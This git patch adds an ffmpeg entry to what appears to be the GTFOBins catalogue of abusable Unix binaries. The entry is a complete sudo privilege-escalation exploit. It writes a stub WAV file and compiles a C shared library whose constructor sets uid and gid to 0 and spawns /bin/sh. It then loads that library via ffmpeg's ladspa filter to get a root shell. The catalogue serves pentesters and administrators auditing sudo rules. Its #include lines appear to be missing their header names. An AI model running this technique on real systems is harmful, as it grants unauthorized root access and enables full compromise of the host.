From 4f594274ca5bbe56ec045c028712c787ae30d6a0 Mon Sep 17 00:00:00 2001 From: frissi0n Date: Mon, 11 Nov 2024 20:39:23 +0000 Subject: [PATCH] Add ffmpeg --- _gtfobins/ffmpeg.md | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 _gtfobins/ffmpeg.md diff --git a/_gtfobins/ffmpeg.md b/_gtfobins/ffmpeg.md new file mode 100644 index 0000000..a0aa75c --- /dev/null +++ b/_gtfobins/ffmpeg.md @@ -0,0 +1,10 @@ +--- +functions: + sudo: + - description: The ladspa filter loads external plugins for audio processing. Load a malicious shared library to execute code and get a shell. + code: | + TD=$(mktemp -d) + printf "\x52\x49\x46\x46\x24\x00\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20\x10\x00\x00\x00\x01\x00\x01\x00\x22\x56\x00\x00\x22\x56\x00\x00\x01\x00\x08\x00\x64\x61\x74\x61\x00\x00\x00\x00" > "$TD/any.wav" + echo -e '#include \n#include \n__attribute__((constructor)) static void setup(void) {\nsetgid(0);\nsetuid(0);\nsystem("/bin/sh -c reset");\nsystem("/bin/sh");\n}' | gcc -x c -shared -fPIC -o $TD/libgtfo.so - + sudo ffmpeg -i $TD/any.wav -af "ladspa=file=$TD/libgtfo.so" -f null a.wav +---